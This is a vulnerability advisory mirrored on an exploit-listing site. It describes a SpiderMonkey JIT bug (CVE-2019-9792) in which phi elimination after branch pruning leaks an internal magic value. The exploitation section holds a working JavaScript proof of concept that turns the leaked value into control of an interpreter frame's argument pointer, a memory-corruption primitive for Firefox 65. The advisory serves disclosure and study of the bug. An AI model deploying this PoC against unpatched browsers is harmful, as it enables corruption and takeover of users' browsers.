Menu

"Spidermonkey - IonMonkey Leaks JS_OPTIMIZED_OUT Magic Value to Script"

Author

"Google Security Research"

Platform

multiple

Release date

2019-05-29

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
IonMonkey can, during a bailout, leak an internal JS_OPTIMIZED_OUT magic value to the running script. This magic value can then be used to achieve memory corruption.

# Prerequisites

## Magic Values

Spidermonkey represents JavaScript values with the C++ type JS::Value [1], which is a NaN-boxed value that can encode a variety of different types [2] such as doubles, string pointers, integers, or object pointers. Besides the types available in JavaScript, JS::Value can also store special ("magic") [3] values for various internal purposes. For example, JS_ELEMENTS_HOLE is used to represent holes in arrays, and JS_OPTIMIZED_ARGUMENTS represents the `arguments` object during a function call (so that no actual memory allocation is required for it).

## Branch Pruning

IonMonkey (Spidermonkey's JIT engine) represents JavaScript code as a control-flow graph (CFG) of MIR (mid-level IR) instructions. When starting to compile a function, IonMonkey first translates the bytecode to the MIR, keeping the same CFG. Afterwards, it tries to remove subtrees in the CFG that appear to not be used in order to save compilation time and potentially improve various optimizations. As an example, consider the following code, and assume further that in all previous executions only the if branch had been taken:

    if (cond_that_has_always_been_true) {
        // do something
    } else {
        // do something else
    }

In this case, branch pruning would likely decide to discard the else branch entirely and instead replace it with a bailout instruction to bailout to the baseline JIT should the branch ever be taken:

    if (cond_that_has_always_been_true) {
        // do something
    } else {
        bailout();      // will continue execution in baseline JIT
    }

## Phi Elimination

IonMonkey uses static single assignment (SSA) form for its intermediate representation of the code (MIR). In SSA form, every variable is assigned exactly once. Reassignments of variables on different branches in the CFG are handled with special Phi instructions. Consider the following example:

    var x;
    if (c) {
        x = 1337;
    } else {
        x = 1338;
    }
    print(x);

After translation to SSA form it would look something like this:

    if (c) {
        x1 = 1337;
    } else {
        x2 = 1338;
    }
    x3 = Phi(x1, x2);
    print(x3);

Phi Elimination is an optimization pass that tries to remove Phi instructions that are either redundant or unobservable (which frequently appear as result of SSA conversion and various optimizations). Quoting from the source code [4]:

    // Eliminates redundant or unobservable phis from the graph.  A
    // redundant phi is something like b = phi(a, a) or b = phi(a, b),
    // both of which can be replaced with a.  An unobservable phi is
    // one that whose value is never used in the program.

Unobservable Phis are then replaced a special value, MagicOptimizedOut [5]. In case of a bailout from the JIT, such an optimized-out value will be materialized as a JS_OPTIMIZED_OUT [6] JS magic value. This should not be observable by script since the compiler was able to prove that the variable is never used. Spidermonkey can, however, not simply leave the slot for an optimized-out variable uninitialized as e.g. the garbage collector expects a valid JS::Value in it.

Phi elimination can lead to problems in combination with branch pruning. Consider the following example:

    var only_used_in_else_branch = ...;
    if (cond_that_has_always_been_true) {
        // do something, but don't use only_used_in_else_branch
    } else {
        // do something else and use only_used_in_else_branch
    }

Here again, branch pruning might decide to remove the else branch, in which case no use of the variable remains. As such, it would be replaced by a magic JS constant (JS_OPTIMIZED_OUT) in the JIT. Later, if the else branch was actually taken, the JIT code would perform a bailout and try to restore the variable. However, as it has been removed, it would now (incorrectly) restore it as JS_OPTIMIZED_OUT magic and continue using it in the baseline JIT, where it could potentially be observed by the executing script. To avoid this, branch pruning marks SSA variables that are used in removed blocks as "useRemoved" [7], in which case the variables will not be optimized out [8].

# Bug description

While fuzzing Spidermonkey, I encountered the following sample which crashes Spidermonkey built from the current release branch:

	function poc() {
		const x = "asdf";
		for (let v7 = 0; v7 < 2; v7++) {
			function v8() {
				let v13 = 0;
				do {
					v13++;
				} while (v13 < 1200000);
			}
			const v15 = v8();
			for (let v25 = 0; v25 < 100000; v25++) {
				if (x) {
				} else {
					const v26 = {get:v8};
					for (let v30 = 0; v30 < 1000; v30++) { }
				}
			}
		}
	}
	poc();

It appears what is happening here is roughly the following:

At the beginning of JIT compilation (somewhere in one of the inner loops), IonMonkey produces the following simplified CFG (annotated with the different SSA variables for x):

          +-------+
          |   0   +-----+
          | Entry |     |
          +-------+     |
      x1 = "asdf"       v
                    +-----------+
                    |     1     |
   +--------------->| Loop Head |
   |                +--+--------+
   |                   |  x2 = Phi(x1, x5)
   |                   +--------+
   |                            v
   |   +-----------+     +------------+
   |   |     3     |     |    2...    |
   |   | OSR Entry |     | Inlined v8 |
   |   +-+---------+     +----------+-+
   |     | x3 = osrval('x')         |
   |     +---------+     +----------+
   |               v     v
   |           +-------------+
   |           |      4      |
   |           |    Merge    |
   |           +-----------+-+
   |      x4 = Phi(x3, x2) |
   |                       v
   |           +-------------+
   |           |    5...     |
   +-----------+ Inner Loop  |
               +-------------+
             x5 = Phi(x4, ..); use(x5);

Since the function is already executing in the baseline JIT, the JIT code compiled by IonMonkey will likely be entered via OSR at block 3 in the middle of the outer loop.
Next, branch pruning runs. It inspects the hit count of the bytecode (and performs some more heuristics), and decides that block 2 (or really the exit from the loop in v8) should be pruned and replaced with a bailout to the baseline JIT. The CFG then looks something like this:

          +-------+
          |   0   +-----+
          | Entry |     |
          +-------+     |
      x1 = "asdf"       v
                    +-----------+
                    |     1     |
   +--------------->| Loop Head |
   |                +--+--------+
   |                   |  x2 = Phi(x1, x5)
   |                   +--------+
   |                            v
   |   +-----------+     +------------+
   |   |     3     |     |    2...    |
   |   | OSR Entry |     | Inlined v8 |
   |   +-+---------+     +------------+
   |     | x3 = osrval(1)
   |     +---------+        !! branch pruned !!
   |               v
   |           +-------------+
   |           |      4      |
   |           |    Merge    |
   |           +-----------+-+
   |      x4 = Phi(x3)     |
   |                       v
   |           +-------------+
   |           |    5...     |
   +-----------+ Inner Loop  |
               +-------------+
             x5 = Phi(x4, ..); use(x5);

Since there was no use of x2 in the removed code, x2 is not marked as "use removed". However, when removing the branch 2 -> 4, IonMonkey removed x2 as input to the Phi for x4. This seems logical since x2 can now definitely not flow into x4 since there is no longer a path between block 1 and block 4. However, this removal of a use without setting the "use removed" flag leads to problems later on, in particular during Phi Elimination, which changes the code to the following:

          +-------+
          |   0   +-----+
          | Entry |     |
          +-------+     |
      x1 = "asdf"       v
                    +-----------+
                    |     1     |
   +--------------->| Loop Head |
   |                +--+--------+
   |                   |  x2 = OPTIMIZED_OUT
   |                   +--------+
   |                            v
   |   +-----------+     +------------+
   |   |     3     |     |    2...    |
   |   | OSR Entry |     | Inlined v8 |
   |   +-+---------+     +------------+
   |     | x3 = osrval(1)
   |     +---------+        !! branch pruned !!
   |               v
   |           +-------------+
   |           |      4      |
   |           |    Merge    |
   |           +-----------+-+
   |      x4 = Phi(x3)     |
   |                       v
   |           +-------------+
   |           |    5...     |
   +-----------+ Inner Loop  |
               +-------------+
             x5 = Phi(x4, ..); use(x5);

Here, Phi Elimination decided that x2 is an unobservable Phi as it is not used anywhere. As such, it replaces it with a MagicOptimizedOut value. However, when block 2 is executed in the JITed code, it will perform a bailout and restore x as JS_OPTIMIZED_OUT magic value. This is incorrect as the interpreter/baseline JIT will use x once it reaches the inner loop. There, x (now the optimized out magic) is used for a ToBoolean conversion, which crashes (in a non exploitable way) when reaching this code:

    JS_PUBLIC_API bool js::ToBooleanSlow(HandleValue v) {
      ...;
      MOZ_ASSERT(v.isObject());
      return !EmulatesUndefined(&v.toObject());     // toObject will return an invalid pointer for a magic value
    }


A similar scenario is described in FlagPhiInputsAsHavingRemovedUses [9], which is apparently supposed to prevent this from happening by marking x2 as useRemoved during branch pruning. However, in this case, FlagPhiInputsAsHavingRemovedUses fails to mark x2 as useRemoved as it concludes that x4 is also unused: basically, FlagPhiInputsAsHavingRemovedUses invokes DepthFirstSearchUse [10] to figure out whether some Phi is used by performing a depth-first search over all uses. If it finds a non-Phi use, it returns true. In block 5 above (which are really multiple blocks), x4 is used by another Phi, x5, which is then used by a "real" instruction. DepthFirstSearchUse now visits x5 and puts it into the worklist. It then eventually finds x4 and:

* finds x5 as use, but as x5 is already in the worklist it skips it [11]
* finds no other uses, and thus (incorrectly?) marks x4 as unused [12]

As such, x2 is later on not marked as useRemove since its only use (x4) appears to be unused anyways.

# Exploitation

It is possible get a reference to the magic JS_OPTIMIZED_OUT value by changing the body of the inner for loop to something like this:

        for (let v25 = 0; v25 < 100000; v25++) {
            // Should never be taken, but will be after triggering the bug (because both v3 and v1
            // will be a JS_OPTIMIZED_OUT magic value).
            if (v3 === v1) {
                let magic = v3;
                console.log("Magic is happening!");
                // do something with magic
                return;
            }
            if (v1) {
            } else {
                const v26 = {get:v8};
                for (let v30 = 0; v30 < 1000; v30++) { }
            }
        }

Afterwards, the magic value will be stored in a local variable and can be freely used. What remains now is a way to use the magic value to cause further misbehaviour in the engine.

Spidermonkey uses different JSMagic values in various places. These places commonly check for the existence of some specific magic value by calling `.isMagic(expectedMagicType)` on the value in question. For example, to check for the magic hole element, the code would invoke `elem.isMagic(JS_ELEMENTS_HOLE)`. The implementation of `isMagic` is shown below:

  bool isMagic(JSWhyMagic why) const {
    MOZ_ASSERT_IF(isMagic(), s_.payload_.why_ == why);
    return isMagic();
  }

Interestingly, this way of implementing it makes it possible to supply a different magic value than the expected one while still causing this function to return true, thus making the caller believe that it has the right magic value. As such, the JS_OPTIMIZED_OUT magic value can, in many cases, be used as any other magic value in the code.

One interesting use of magic values is JS_OPTIMIZED_ARGUMENTS, representing the `arguments` object. The idea is that e.g.

    function foo() {
        print(arguments[0]);
    }

Gets compiled to bytecode such as:

    push JS_OPTIMIZED_ARGUMENTS
    LoadElem 0
    call print

The special handling for the magic value is then performed here:

    static bool DoGetElemFallback(JSContext* cx, BaselineFrame* frame,
                                  ICGetElem_Fallback* stub, HandleValue lhs,
                                  HandleValue rhs, MutableHandleValue res) {
      // ...

      bool isOptimizedArgs = false;
      if (lhs.isMagic(JS_OPTIMIZED_ARGUMENTS)) {
        // Handle optimized arguments[i] access.
        if (!GetElemOptimizedArguments(cx, frame, &lhsCopy, rhs, res,
                                       &isOptimizedArgs)) {
          return false;
        }

      // ...

Which eventually ends up in:

    inline Value& InterpreterFrame::unaliasedActual(
      unsigned i, MaybeCheckAliasing checkAliasing) {
        MOZ_ASSERT(i < numActualArgs());
        MOZ_ASSERT_IF(checkAliasing, !script()->argsObjAliasesFormals());
        MOZ_ASSERT_IF(checkAliasing && i < numFormalArgs(),
                      !script()->formalIsAliased(i));
        return argv()[i];         // really is just argv_[i];
    }

An InterpreterFrame [13] is an object representing the invocation context of a JavaScript function.
Basically, there are two types of InterpreterFrames: CallFrames [14], which are used for regular function calls and thus has nactul_ (the number of arguments) and argv_ (a pointer to the argument values) initialized, and ExecuteFrame [15], which are e.g. used for eval()ed code. Interestingly, ExecuteFrames leave nactual_ and argv_ uninitialized, which is normally fine as code would never access these fields in an ExecuteFrame. However, by having a reference to a magic value, it now becomes possible to trick the engine into believing that whatever frame is currently active is a CallFrame and thus has a valid argv_ pointer by loading an element from the magic value (`magic[i]` in JS). Conveniently, InterpreterFrames are allocated by a bump allocator, used solely for the interpreter stack. As such, the allocations are very deterministic and it is easily possible to overlap the uninitialized member with any other data that is stored on the interpreter stack, such as local variables of functions.

The following PoC (tested against a local Spidermonkey build and Firefox 65.0.1) demonstrates this. It will first trigger the bug to leak the magic JS_OPTIMIZED_OUT value. Afterwards, it puts a controlled value (0x414141414141 in binary) on the interpreter stack (in fill_stack), then uses the magic value from inside an eval frame of which the argv_ pointer overlaps with the controlled value. Spidermonkey will then assume that the current frame must be a FunctionFrame and treat the value as an argv_ pointer, thus crashing at 0x414141414141.

    // This function uses roughly sizeof(InterpreterFrame) + 14 * 8 bytes of interpreter stack memory.
    function fill_stack() {
        // Use lot's of stack slots to increase the allocation size of this InterpreterFrame.
        var v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13;
        // Will overlap with the argv_ pointer in the InterpreterFrame for the call to eval.
        var v14 = 3.54484805889626e-310;
    }

    // This function uses roughly sizeof(InterpreterFrame) bytes of interpreter stack memory. The inner
    // call to eval will get its own InterpreterFrame, which leaves the argv_ pointer uninitialized
    // (since it's an eval frame). However, due to having a magic value here, it is possible to trick
    // the interpreter into accessing argv_ (because it assumes that the magic value represents an
    // `arguments` object). The argv_ pointer of the inner frame will then overlap with one of the
    // variables of the previous function, and is thus fully controllable.
    function trigger(magic) {
        eval(`magic[0]`);
    }

    // Invoke the two functions above to achieve memory corruption given a magic JS::Value.
    function hax(magic) {
        fill_stack();
        trigger(magic);
    }

    function pwn() {
        const v1 = "adsf";
        const v3 = "not_asdf";
        for (let v7 = 0; v7 < 2; v7++) {
            function v8() {
                let v13 = 0;
                do {
                    v13++;
                } while (v13 < 1200000);
                // If the previous loop runs long enough, IonMonkey will JIT compile v8 and enter the
                // JITed code via OSR. This will leave the hitCount for the loop exit in the interpreter
                // at 0 (because the exit is taken in JITed code). This in turn will lead to IonMonkey
                // pruning the loop exit when compiling pwn() (with inlined v8), as its heuristics
                // suggest that the branch is never taken (hitCount == 0 and a few more). This will then
                // lead to the incorrect removal of Phi nodes, and ultimately the leaking of a
                // JS_OPTMIZED_OUT magic value to the baseline JIT, where it is observable for the
                // current script.
            }
            const v15 = v8();
            for (let v25 = 0; v25 < 100000; v25++) {
                // Should never be taken, but will be after triggering the bug (because both v3 and v1
                // will be a JS_OPTIMIZED_OUT magic value).
                if (v3 === v1) {
                    let magic = v3;
                    console.log("Magic is happening!");
                    hax(magic);
                    return;
                }
                if (v1) {
                } else {
                    const v26 = {get:v8};
                    for (let v30 = 0; v30 < 1000; v30++) { }
                }
            }
        }
    }
    pwn();

[1]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/public/Value.h#L276
[2]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/public/Value.h#L53
[3]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/public/Value.h#L191
[4]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L1382
[5]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonTypes.h#L447
[6]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/public/Value.h#L223
[7]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/MIR.h#L129
[8]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L1330
[9]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L146
[10]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L41
[11]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L106
[12]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L135
[13]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/vm/Stack.h#L85
[14]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/vm/Stack-inl.h#L51
[15]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/vm/Stack.cpp#L35


Fixed in  https://www.mozilla.org/en-US/security/advisories/mfsa2019-08/#CVE-2019-9792

The issue was fixed in two ways:

1. In  https://hg.mozilla.org/releases/mozilla-beta/rev/5f4ba71d48892ddfc9e800aec521a46eaae175fd the debug assertion in isMagic was changed into a release assert, preventing the exploitation of leaked JS_MAGIC values as described above.

2. In  https://hg.mozilla.org/mozilla-central/rev/044a64c70a3b the DFS in DepthFirstSearchUse was modified to (conservatively) mark Phis in loops as used. A more complex implementation which can correctly determine whether Phis inside loops are actually used remains as a separate bug.
Release Date Title Type Platform Author
2019-08-15 "NSKeyedUnarchiver - Info Leak in Decoding SGBigUTF8String" dos multiple "Google Security Research"
2019-08-12 "ManageEngine OpManager 12.4x - Unauthenticated Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-08-12 "ManageEngine Application Manager 14.2 - Privilege Escalation / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-08-12 "ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-08-12 "WebKit - UXSS via XSLT and Nested Document Replacements" dos multiple "Google Security Research"
2019-08-08 "Aptana Jaxer 1.0.3.4547 - Local File inclusion" webapps multiple "Steph Jensen"
2019-08-07 "Google Chrome 74.0.3729.0 / 76.0.3789.0 - Heap Use-After-Free in blink::PresentationAvailabilityState::UpdateAvailability" dos multiple "Google Security Research"
2019-08-05 "ARMBot Botnet - Arbitrary Code Execution" remote multiple prsecurity
2019-08-01 "Ultimate Loan Manager 2.0 - Cross-Site Scripting" webapps multiple "Metin Yunus Kandemir"
2019-07-31 "Oracle Hyperion Planning 11.1.2.3 - XML External Entity" webapps multiple "Lucas Dinucci"
2019-07-30 "iMessage - NSKeyedUnarchiver Deserialization Allows file Backed NSData Objects" dos multiple "Google Security Research"
2019-07-30 "iMessage - Memory Corruption when Decoding NSKnownKeysDictionary1" dos multiple "Google Security Research"
2019-07-30 "iMessage - NSArray Deserialization can Invoke Subclass that does not Retain References" dos multiple "Google Security Research"
2019-07-30 "macOS / iOS JavaScriptCore - JSValue Use-After-Free in ValueProfiles" dos multiple "Google Security Research"
2019-07-30 "macOS / iOS JavaScriptCore - Loop-Invariant Code Motion (LICM) Leaves Object Property Access Unguarded" dos multiple "Google Security Research"
2019-07-30 "macOS / iOS NSKeyedUnarchiver - Use-After-Free of ObjC Objects when Unarchiving OITSUIntDictionary Instances" dos multiple "Google Security Research"
2019-01-12 "ASAN/SUID - Local Privilege Escalation" local multiple bcoles
2019-01-13 "Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (2)" local multiple bcoles
2018-12-30 "Deepin Linux 15 - 'lastore-daemon' Local Privilege Escalation" local multiple bcoles
2019-01-13 "S-nail < 14.8.16 - Local Privilege Escalation" local multiple bcoles
2018-12-30 "VMware Workstation/Player < 12.5.5 - Local Privilege Escalation" local multiple bcoles
2019-07-25 "WebKit - Universal Cross-Site Scripting due to Synchronous Page Loads" dos multiple "Google Security Research"
2019-07-24 "Trend Micro Deep Discovery Inspector IDS - Security Bypass" remote multiple hyp3rlinx
2019-07-12 "Xymon 4.3.25 - useradm Command Execution (Metasploit)" remote multiple Metasploit
2019-07-10 "Mozilla Spidermonkey - Unboxed Objects Uninitialized Memory Access" dos multiple "Google Security Research"
2019-07-09 "Firefox 67.0.4 - Denial of Service" dos multiple "Tejas Ajay Naik"
2019-07-03 "Symantec DLP 15.5 MP1 - Cross-Site Scripting" webapps multiple "Chapman Schleiss"
2019-07-01 "CyberPanel 1.8.4 - Cross-Site Request Forgery" webapps multiple "Bilgi Birikim Sistemleri"
2019-07-01 "Sahi pro 8.x - Directory Traversal" webapps multiple "Alexander Bluestein"
2019-07-01 "SAP Crystal Reports - Information Disclosure" webapps multiple "Mohamed M.Fouad"
Release Date Title Type Platform Author
2019-08-15 "Microsoft Windows Text Services Framework MSCTF - Multiple Vulnerabilities" local windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Double Free due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - free() of Uninitialized Pointer due to Malformed JBIG2Globals Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Memory Corruption due to Malformed TTF Font" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow in CoolType.dll" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed Font Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Static Buffer Overflow due to Malformed Font Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow While Processing Malformed PDF" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Use-After-Free due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Out-of-Bounds read due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap-Based Out-of-Bounds read in FixSbitSubTableFormat1" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in MakeFormat12MergedGlyphList" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap-Based Out-of-Bounds read in WriteTableFromStructure" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in ReadAllocFormat12CharGlyphMapList" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in ReadTableIntoStructure" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in FixSbitSubTables" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Double Free in MergeFormat12Cmap / MakeFormat12MergedGlyphList" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap-Based Out-of-Bounds read in GetGlyphIdx" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Returning a Dangling Pointer via MergeFontPackage" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat CoolType (AFDKO) - Call from Uninitialized Memory due to Empty FDArray in Type 1 Fonts" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat CoolType (AFDKO) - Memory Corruption in the Handling of Type 1 Font load/store Operators" dos windows "Google Security Research"
2019-08-15 "NSKeyedUnarchiver - Info Leak in Decoding SGBigUTF8String" dos multiple "Google Security Research"
2019-08-12 "WebKit - UXSS via XSLT and Nested Document Replacements" dos multiple "Google Security Research"
2019-08-12 "Linux - Use-After-Free Reads in show_numa_stats()" dos linux "Google Security Research"
2019-08-07 "Google Chrome 74.0.3729.0 / 76.0.3789.0 - Heap Use-After-Free in blink::PresentationAvailabilityState::UpdateAvailability" dos multiple "Google Security Research"
2019-08-05 "macOS iMessage - Heap Overflow when Deserializing" dos macos "Google Security Research"
2019-07-30 "iMessage - NSKeyedUnarchiver Deserialization Allows file Backed NSData Objects" dos multiple "Google Security Research"
2019-07-30 "iMessage - Memory Corruption when Decoding NSKnownKeysDictionary1" dos multiple "Google Security Research"
2019-07-30 "iMessage - NSArray Deserialization can Invoke Subclass that does not Retain References" dos multiple "Google Security Research"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46939/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46939/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46939/41358/spidermonkey-ionmonkey-leaks-js-optimized-out-magic-value-to-script/download/", "exploit_id": "46939", "exploit_description": "\"Spidermonkey - IonMonkey Leaks JS_OPTIMIZED_OUT Magic Value to Script\"", "exploit_date": "2019-05-29", "exploit_author": "\"Google Security Research\"", "exploit_type": "dos", "exploit_platform": "multiple", "exploit_port": null}
                                            

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Browse exploit APIBrowse